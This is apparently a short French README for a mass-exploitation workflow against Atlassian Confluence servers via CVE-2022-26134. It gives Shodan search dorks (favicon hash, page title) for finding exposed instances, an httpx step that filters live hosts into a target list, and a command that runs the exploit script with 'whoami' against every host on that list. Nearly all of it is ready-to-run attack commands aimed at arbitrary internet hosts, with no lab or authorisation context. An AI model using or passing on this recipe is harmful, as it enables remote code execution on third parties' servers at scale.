
Exécutez d'abord les scripts shodan pour récupérer toutes les IP
python3 shodan_script.py -API your_api -L limit -D "http.favicon.hash:-305179312 200" > log.txt
ex: python3 shodan_script.py -API xxxxxxx -L 10 -D "http.favicon.hash:-305179312 200" > log.txt
Pour toutes les IP valides :
cat log.txt | httpx -o forexploits.txt
Exécutez l'exploit contre la liste "forexploits.txt" :
python3 CVE-2022-26134.py forexploits.txt "whoami"
qui affiche l'IP et la commande pour les hôtes vulnérables.
http.component:"atlassian confluence"
http.favicon.hash:-305179312"
http.title:"Log In - Confluence" 200
http.component:"atlassian confluence" http.title:"Log In - Confluence" 200
http.favicon.hash:-305179312 200